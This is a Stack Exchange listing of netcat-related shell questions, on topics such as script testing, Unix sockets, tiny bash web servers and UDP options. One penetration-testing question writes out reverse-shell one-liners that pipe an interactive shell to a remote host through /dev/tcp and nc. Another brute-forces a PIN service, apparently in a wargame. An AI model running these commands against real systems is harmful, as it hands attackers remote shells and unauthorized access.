Sample Header Ad - 728x90

Unix & Linux Stack Exchange

Q&A for users of Linux, FreeBSD and other Unix-like operating systems

Latest Questions

2 votes
1 answers
2140 views
How to decrypt Cryptcat (twofish) data?
I have some packets that are encrypted with Cryptcat tool and I want to decrypt them. I have the encryption password. I tried to use netcat with cryptcat, but every time I'm connecting from netcat to cryptcat and try to send something the connection closes. I tried the following: cryptcat -vv -k p@s...
I have some packets that are encrypted with Cryptcat tool and I want to decrypt them. I have the encryption password. I tried to use netcat with cryptcat, but every time I'm connecting from netcat to cryptcat and try to send something the connection closes. I tried the following: cryptcat -vv -k p@ssword -l -p 1337 > decryptedfile and from another terminal: cat encrypted | nc localhost 1337 When I hit enter the connection closes!
Eslam Medhat Ezzat (29 rep)
Nov 24, 2017, 12:39 AM • Last activity: Jul 12, 2025, 02:02 AM
0 votes
1 answers
155 views
How to compare output of a program with a reference value in a shell script?
I have my own implementation of a Redis server which I'd like to test through a shell script. The general idea is to feed it with some commands through `nc`, and since `nc` prints the output of my program (response) to `stdout`, to capture the response in a script variable and compare it with the ex...
I have my own implementation of a Redis server which I'd like to test through a shell script. The general idea is to feed it with some commands through nc, and since nc prints the output of my program (response) to stdout, to capture the response in a script variable and compare it with the expected output. I haven't been able to get it to work and I don't know what the issue is and how to solve it. This is a part of the script:
#!/bin/bash

set -eu

PORT=6380;

RUST_LOG=info ./run.sh --port $PORT 2>/dev/null & sleep 1; # Give it some time to start.

i=0;

i=$((i+1)); printf 'Running test #%d...' "$i";
response=$(printf "*1\r\n\$4\r\nPING\r\n" | nc localhost $PORT);
if [ "$response" = '+PONG\r\n' ]; then
  printf ' PASSED'
else
  printf ' FAILED\nGot:\n%s\n\n' "$response"
fi;
sleep 0.1;

pkill redis-server;
That's just one example of a test. When a user sends the PING command, the expected response is PONG, but it is encoded and sent back as +PONG\r\n. The CLI output of this test run ($ ./test.sh) is:
Running test #1... FAILED
Got:
+PONG
So, it seems that the variable $response indeed contains what it should. I tried removing +, \r, \n, \r\n from the reference output to no avail, just to see if that would help. I'll have more complicated tests that include a character that needs to be escaped ($), such as \$5\r\nHello, in the response. By the way, manually setting response works as expected.
response='+PONG\r\n';
if [ "$response" = '+PONG\r\n' ]; then
  echo Equal
else
  echo Different
fi;
This prints Equal, as expected. After adding debug output through set -ex, I can see that $response stores +PONG\r, i.e., without \n.
Running test #1...++ printf '*1\r\n$4\r\nPING\r\n'
++ nc localhost 6380
+ response=$'+PONG\r'
+ '[' $'+PONG\r' = '+PONG\r\n' ']'
+ printf ' FAILED\nGot:\n%s\n\n' $'+PONG\r'
 FAILED
Got:
+PONG
Okay, so then setting the reference output to +PONG\r should work, right?
Running test #1...++ printf '*1\r\n$4\r\nPING\r\n'
++ nc localhost 6380
+ response=$'+PONG\r'
+ '[' $'+PONG\r' = '+PONG\r' ']'
+ printf ' FAILED\nGot:\n%s\n\n' $'+PONG\r'
 FAILED
Got:
+PONG
Clearly not. I tried wrapping response in {}, like this: if [ "${response}" = '+PONG\r' ]; then, to no avail. What am I missing? I'm also curious to know how and why \n got lost. I'm running it from zsh on a mac if that should be noted, but the shebang clearly tells it to use bash. If I execute ps -p $$ from the test script, I get 51547 ttys003 0:00.02 /bin/bash ./test.sh.
ivanbgd (111 rep)
Apr 17, 2025, 03:55 PM • Last activity: Apr 18, 2025, 05:43 AM
0 votes
1 answers
183 views
how to use unix domain socket with bash
First of all - I know fifos for IPC, but read about unix domain sockets , which are bidirectional and i wanted to test this, whats possible with command line and bash. I asked Chat GPT, but the information i got was useless and the examples didnt work. I wanted to achieve that two processes can writ...
First of all - I know fifos for IPC, but read about unix domain sockets, which are bidirectional and i wanted to test this, whats possible with command line and bash.
I asked Chat GPT, but the information i got was useless and the examples didnt work.
I wanted to achieve that two processes can write simulteanious to each other or read, without the concept of a fifo.
If i set a file descriptor for reading on a fifo. i can also write with two processes or more to the fifo. but the data get mixed, and the first reader reads all of the mixed content.
process A should receive what process B writes, and process B should receive what process A writes. I got this working, with the following test code: bash file: processA
while true; do
   for ((i=0;i "/proc/$PID/fd/6";
      sleep 1;
   done
   while read -t 0.01 dataB; do echo "Received from process B: $dataB"; done
done
bash File: processB
while true; do
   for ((i=0;i /dev/tty; done
done
terminal 1:
exec 6> >(nc -lU unixSocket | PID=$$ bash processA)
In Prozess A:
After this i can write to the unix socket over "/proc/$PID/fd/6",
read from the unix socket with stdin
and stdout goes terminal. terminal 2:
exec 5In Prozess B:
After this i can write to the unix socket with stdout,
read from the unix socket with "/proc/$PID/fd/5"
write to terminal with /dev/ttx
and stdin is on keyboard. First Question: Why are the file descriptors 5 and 6 not inherited from the subprocesses opened in the process substitution?
I have to get them over exporting the PID -why? Second Question: process A and B can communicate bidirectional, but i need to open two more main processes, which are executing the exec command for file descriptor redirection and starting the process substituion
exec 5But what i finally want is such a communication between the mainprocess and the childprocess, and not more.
Now i got: main 1 opens child 1, main 2 opens child 2, and child 1 can communicate bidirectional with child 2. Thanx for your help in advance
Schmaehgrunza (370 rep)
Mar 3, 2025, 01:12 AM • Last activity: Mar 5, 2025, 05:50 PM
0 votes
1 answers
740 views
Basic webserver supporting post+get (using curl and netcat)
Sorry if the question's title isn't clear about the objective of this question. I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no matter what the input. ## The post request ```bash curl -d '{"Name":"Lorem", "age":"34"}' -H "Content-T...
Sorry if the question's title isn't clear about the objective of this question. I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no matter what the input. ## The post request
curl -d '{"Name":"Lorem", "age":"34"}' -H "Content-Type: application/json" -X POST http://:8080/ 
## The server's script (server.sh)
#!/bin/bash

while true; do
   echo -e "HTTP/1.1 200 OK\n\n

Title

$(date)" \ | nc -l -k -p 8080 -q 1; nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}'; done
In the first time I curl, it returns HTTP/1.1 200 OK\n\n

Title

$(date)
correctly, but not the nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}';, and curl exits. In the second time using curl, it doesn't return HTTP/1.1 200 OK\n\n

Title

$(date)
and now returns the result of nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}'; and curl doesn't exit. The idea is to process the input from curl (using nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}'; + jq) but also to respond and then close curl/the connection.
Daniella Mesquita (9 rep)
Mar 18, 2022, 06:20 PM • Last activity: Nov 20, 2024, 11:25 AM
2 votes
2 answers
3678 views
How do I write a simple request/response tcp server using `nc`?
I’m trying to write a request/response TCP server to handle a small number of very simple commands. I'm using a shell script to be as portable as possible, avoiding compilation or requiring specific runtimes of a programming language. I would like it to be able to respond to the client saying the re...
I’m trying to write a request/response TCP server to handle a small number of very simple commands. I'm using a shell script to be as portable as possible, avoiding compilation or requiring specific runtimes of a programming language. I would like it to be able to respond to the client saying the result of the command, meaning the response has to be dynamic. I'm currently trying to use nc:
mkfifo commands
mkfifo nc_responses

nc -k -l 47201 >commands nc_responses
done 
Here's the output of calling it in a second shell:
$ nc localhost 47201 <<< 'command 1'
$ nc localhost 47201 <<< 'command 2'
Ran command 1
$ nc localhost 47201 <<< 'command 3'
Ran command 2
$ nc localhost 47201 <<< 'command 4'
Ran command 3
As you can see, the response lags the request by one. Can anyone see a way to fix that, so that the response is dynamically generated from the request? (For context - this is using bash on macOS, with macOS's built-in nc)
Robert Elliot (121 rep)
Dec 22, 2020, 12:56 PM • Last activity: Aug 30, 2024, 05:02 AM
1 votes
2 answers
2702 views
ncat v7.6 UDP -k and -w not working as expected
At work ( BSD nc version ) and on many internet examples ncat can listen to udp and be used with the following options : 1. `-k` which allows multiple connections 2. `-w 0` which terminates the current connection when the client disconnects At home I have the following Command : Ncat: Version 7.60 (...
At work ( BSD nc version ) and on many internet examples ncat can listen to udp and be used with the following options : 1. -k which allows multiple connections 2. -w 0 which terminates the current connection when the client disconnects At home I have the following Command : Ncat: Version 7.60 ( https://nmap.org/ncat ) OS : Fedora 27 I am unable to use either -k or -w 0. ncat -klu localhost 8000 Ncat: UDP mode does not support the -k or --keep-open options, except with --exec or --sh-exec. QUITTING. nc -luw 0 localhost 8000 Ncat: Invalid -w timeout (must be greater than 0). QUITTING. How do I do the keep alive and the instant timeout in my version of ncat? ( man page does not help ) Thanks
rlon134 (21 rep)
Jun 16, 2018, 01:52 PM • Last activity: Aug 20, 2024, 05:04 PM
-1 votes
1 answers
559 views
FreeBSD Reverse Shell Command Issue: Ambiguous Output Redirect Error
I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command: /bin/bash -i >& /dev/tcp/ /9090 0>&1 Now, I want to achieve the same on a FreeBSD system for testing purposes. I...
I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command: /bin/bash -i >& /dev/tcp//9090 0>&1 Now, I want to achieve the same on a FreeBSD system for testing purposes. I found this website Reverse Shell Cheatsheet and saw the following command: rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f However, when I tried to implement it, I encountered an "Ambiguous output redirect" error. Initially, using nc 9090 works successfully. Therefore, I’m looking for assistance to resolve this issue. Thank you!
HsingLI (11 rep)
Jun 26, 2024, 09:04 AM • Last activity: Jun 27, 2024, 05:45 PM
66 votes
4 answers
65181 views
What are the differences between ncat, nc and netcat?
I'm not sure about when to use `nc`, `netcat` or `ncat`. If one is the deprecated version of another? If one is only available on one distribution? If it is the same command but with different names? In fact I'm a bit confused. My question comes from wanting to do a network speed test between two Ce...
I'm not sure about when to use nc, netcat or ncat. If one is the deprecated version of another? If one is only available on one distribution? If it is the same command but with different names? In fact I'm a bit confused. My question comes from wanting to do a network speed test between two CentOS 7 servers. I came across several examples using nc and dd but not many using netcat or ncat. Could someone clarify this for me please?
timothepoznanski (1515 rep)
May 30, 2017, 05:40 PM • Last activity: May 22, 2024, 11:05 AM
-1 votes
7 answers
43795 views
Brute-force 4 digit pin with pass using shell script
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script: #!/bin/bash nc localhost 300...
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script: #!/bin/bash nc localhost 30002 sleep 2 for i in {0000..9999}; if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here? UPDATE: ---------------------------------------------------- Okay, so after researching around. I wrote this: for i in {0000..9999} do if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ] then sleep 0.1 continue fi echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]" done This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
Srijan Singh (29 rep)
Mar 22, 2018, 07:13 PM • Last activity: Apr 25, 2024, 01:52 PM
12 votes
1 answers
1749 views
Odd inconsistency between executing and sourcing Bash script
I know this is not a very descriptive title (suggestions are welcome), but the fact is that I've been pulling my hair over this for hours and I have no clue where the root of the problem might lie. I wrote a simple Bash script for CLI chat between peers on a local network: ```bash #!/usr/bin/env bas...
I know this is not a very descriptive title (suggestions are welcome), but the fact is that I've been pulling my hair over this for hours and I have no clue where the root of the problem might lie. I wrote a simple Bash script for CLI chat between peers on a local network:
#!/usr/bin/env bash

# Usage: ./lanchat : :

# set -x
set -o errexit -o nounset -o pipefail

IFS=':' read -a socket  "$RECV_FIFO"; done &

TMUX_TOP="while true; do cat '$RECV_FIFO'; done"
TMUX_BOTTOM="while IFS= read -r line; do nc -n -q 0 '$REMOTE_IP' '$REMOTE_PORT'  .tmp.lanchat; done &
$ tmux new "while true; do cat .tmp.lanchat; done" \; split -v "while IFS= read -r line; do nc -n -q 0 172.16.0.100 1234  "$RECV_FIFO";
done &
#...
I tried establishing the connection in all possible orders between the two peers. I even restarted both the server and my local machine to make sure that there were no orphaned or zombie instances of *nc* hugging the socket that had somehow evaded detection. Now, Debian and Arch run different versions of *nc*. So, on the face of it, it sounds like this could be a possible explanation. But doesn't the fact that sourcing the script on Debian's side works fine rule out that possibility? What the heck is going on, here?
mesr (429 rep)
Feb 26, 2024, 03:50 AM • Last activity: Mar 1, 2024, 06:45 PM
0 votes
1 answers
71 views
Redirect command options to a file
From the following nc command,i would like to redirect `source-server.fqdn` name to the output file. By default nc command is not returning the `source-server.fqdn` in the output. nc -zv -s source-server.fqdn dest-server.fqdn 1234 >> file.txt 2>&1
From the following nc command,i would like to redirect source-server.fqdn name to the output file. By default nc command is not returning the source-server.fqdn in the output. nc -zv -s source-server.fqdn dest-server.fqdn 1234 >> file.txt 2>&1
u512201 (1 rep)
Feb 14, 2024, 09:44 AM • Last activity: Feb 14, 2024, 12:58 PM
5 votes
4 answers
11929 views
One way communication over UDP using Netcat
I have a situation where many "smart" devices are sending me data via UDP. I can't change anything on the sending end. I'm testing nc (or netcat) but can't get past the following: Receiving end command: nc -l -u 8123 Test sending command: echo "test" | nc -u 127.0.0.1 8123 The first packet works fin...
I have a situation where many "smart" devices are sending me data via UDP. I can't change anything on the sending end. I'm testing nc (or netcat) but can't get past the following: Receiving end command: nc -l -u 8123 Test sending command: echo "test" | nc -u 127.0.0.1 8123 The first packet works fine, but then both ends seem to go to some sort of sleep and I have to CTRL+C to try again. Once it works I will have the receiving end "keep listening" (-k) and I will process the packets then
Scott May (73 rep)
Aug 4, 2016, 01:32 AM • Last activity: Aug 30, 2023, 02:47 PM
0 votes
2 answers
7237 views
nc to retry on connection refuse
is there any solution for nc 192.168.1.1 1234 to retry till it gets connected and once it gets connected ; it will send an output via "nc 192.168.1.1 1234" on machine 192.168.1.1 where it is listening on port no. 1234 . ?? //I want to send a message over "nc" once the connection is created by nc com...
is there any solution for nc 192.168.1.1 1234 to retry till it gets connected and once it gets connected ; it will send an output via "nc 192.168.1.1 1234" on machine 192.168.1.1 where it is listening on port no. 1234 . ?? //I want to send a message over "nc" once the connection is created by nc command else it will try reconnecting for connection via nc//
Tridev (1 rep)
Mar 20, 2018, 07:34 AM • Last activity: Jan 5, 2023, 01:58 PM
0 votes
1 answers
1334 views
Redirect output of current script to a socket
I am trying to debug a shell script executing on a remote server, where I do not have access to the standard output of the script. Can I redirect the output to go over a socket?
I am trying to debug a shell script executing on a remote server, where I do not have access to the standard output of the script. Can I redirect the output to go over a socket?
rgov (253 rep)
Dec 4, 2022, 05:54 PM • Last activity: Dec 4, 2022, 07:32 PM
0 votes
0 answers
57 views
Why do udp requests fail temporarily
I've a UDP web server, which bound to the port 10000. I just deployed it on the server `172.20.0.10`. Then I tried to scan the port `nc -v -z -w2 -u 172.20.0.10 10000`, it seems that everyting is OK. The `nc` command shows me the output: Ncat: Connected to 172.20.0.10:10000. Ncat: UDP packet send su...
I've a UDP web server, which bound to the port 10000. I just deployed it on the server 172.20.0.10. Then I tried to scan the port nc -v -z -w2 -u 172.20.0.10 10000, it seems that everyting is OK. The nc command shows me the output: Ncat: Connected to 172.20.0.10:10000. Ncat: UDP packet send successfully Ncat: 1 bytes send, 0 bytes received in 2.0.1 seconds. Then, I deployed it on another server 172.20.0.12. However, I found that the nc command could fail temporarily. I just keep executing the command nc -v -z -w2 -u 172.20.0.12 10000 and only about 1/10 of executions could succeed, others (9/10) would fail: Ncat: Connected to 172.20.0.12:10000. Ncat: connection refused). I want to figure out why. Are there some methods or some tools that can help me?
Yves (3401 rep)
Nov 3, 2022, 03:23 AM
0 votes
0 answers
106 views
finger daemon / nc fowarding error
For an assignment I'm trying to properly send a buffer overflow exploit with ncat in order gain root access on a vulnerable machine set up by the professor. I feel I created my egg right but I keep getting the same error when I pipe my egg exploit file to ncat. I've tried researching this error but...
For an assignment I'm trying to properly send a buffer overflow exploit with ncat in order gain root access on a vulnerable machine set up by the professor. I feel I created my egg right but I keep getting the same error when I pipe my egg exploit file to ncat. I've tried researching this error but have found nothing to what it means or how to overcome it. I'm not sure if my command is the best way to send an exploit to the finger daemon. My command
cat egg | nc hostname port
the ouput with error at the end
Welcome to an eggie Linux version 4.9.0-3-686-pae at hostname.lan !

 19:20:41 up 15 days,  4:29,  0 users,  load average: 0.00, 0.00, 0.00

fingerd: forwarding not allowed
Jacob ricondo (1 rep)
Oct 14, 2022, 12:28 AM
3 votes
2 answers
45831 views
Connecting with sftp using a proxy server
I am trying to connect to an external server using a proxy with the below command: sftp -v -o "ProxyCommand /usr/bin/nc -X connect -x proxyserver.com:8080 %h %p" user@server.com This isn't working. I get the below output: debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying option...
I am trying to connect to an external server using a proxy with the below command: sftp -v -o "ProxyCommand /usr/bin/nc -X connect -x proxyserver.com:8080 %h %p" user@server.com This isn't working. I get the below output: debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Executing proxy command: exec /usr/bin/nc -X connect -x proxyserver.com:8080 user@server.com debug1: permanently_drop_suid: 456876 bash: No such file or directory I think the command is formed correctly, it appears to be failing at the 'permanently_drop_suid' step. Does anybody have any idea what could be going wrong here? I can connect using WinSCP so the connection details are correct. Any assistance is greatly appreciated!
R.Smith (31 rep)
May 19, 2017, 09:58 AM • Last activity: Oct 10, 2022, 11:54 PM
0 votes
1 answers
105 views
Weird behaviour of bash in Kali Terminal (Qt I think) - piping to nc ends with awaiting input forever
I've been trying to pipe bytecode to netcat (`nc`) like this: ``` python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\x21\x52\x54\x55\x55\x35')" | nc example.com 1337 ``` But when I execute it my terminal prints out the...
I've been trying to pipe bytecode to netcat (nc) like this:
python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\x21\x52\x54\x55\x55\x35')" | nc example.com 1337
But when I execute it my terminal prints out the program's output and as if it is awaiting input, but when I input my text and press enter nothing happens - it still awaits input. I've tried Ctrl+D to end it, I tried ', '"', ')'. It didn't work. Any clue why? Ctrl+C ends the execution but I think nothing is sent or at least the output isn't being printed out making it useless for me :( What I've also tried: Piping to xxd to check whether there's a mistake there, but nope it seems ok. I tried googling but apparently to no avail.
Sir Muffington (1306 rep)
Aug 23, 2022, 04:03 PM
2 votes
2 answers
16991 views
Shell Script in netcat listener to talk with client
I have this script on my netcat server which asks for name and some other information: *echo "Tell me your name" read $ln echo "I got '$ln'" echo "Tell me something more" while read ln; do echo "I got '$ln'" echo "Tell me something more" done* When a client connects to this server, I want the script...
I have this script on my netcat server which asks for name and some other information: *echo "Tell me your name" read $ln echo "I got '$ln'" echo "Tell me something more" while read ln; do echo "I got '$ln'" echo "Tell me something more" done* When a client connects to this server, I want the script to communicate with the client directly. On server end I do : while true; do nc -l -p port-no | ./My-script-file ; done The while loop is just so that the server continues listening even after one client has closed the connection and nothing else. But somehow, I cannot get the queries to appear on client side. On client side I do: nc server-ip port-no I want the lines "Tell me your name", "I got..." and "Tell me something else" to appear on client screen and the input from client end to be fed into the script. I have also tried options like --exec, -e and --sh-exec and the errors I am getting are something like nc: invalid option -- '-' usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [-O length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Shritama Sengupta (61 rep)
Dec 21, 2018, 06:33 PM • Last activity: Aug 10, 2022, 05:01 PM
1 votes
3 answers
1867 views
Failing IF in a WHILE loop in BASH script that checks for open 22 ports
Im trying to create a rather basic script to run through a list of servers and check if the SSH port is open using `nc`. I've tried a few different ways, but can't seem to get this to work. I am definitely not great at any type of scripting. Here is the script. I just want it to perform an action if...
Im trying to create a rather basic script to run through a list of servers and check if the SSH port is open using nc. I've tried a few different ways, but can't seem to get this to work. I am definitely not great at any type of scripting. Here is the script. I just want it to perform an action if it sees "succeeded" in the response from the nc command in OPEN. while read SERVER do OPEN=$(nc -z -v -w5 $SERVER 22) echo $SERVER if [[ $OPEN = *"suc"* ]]; then echo "Found SSH open on $SERVER" else echo "No open ports on $SERVER!" fi done < server.txt The list of servers is in the server.txt file that is referenced at the end on the script. Here is the response that I get. I not nc: connect to 10.10.51.55 port 22 (tcp) failed: No route to host 10.10.51.55 No open ports on test1! Connection to 10.10.51.65 22 port [tcp/ssh] succeeded! 10.10.50.65 No open ports in test2! It give me the "No open ports on $SERVER" no matter what. I thank you for any guidance.
saleetzo (590 rep)
May 10, 2018, 11:10 PM • Last activity: Apr 8, 2022, 11:33 AM
Showing page 1 of 20 total questions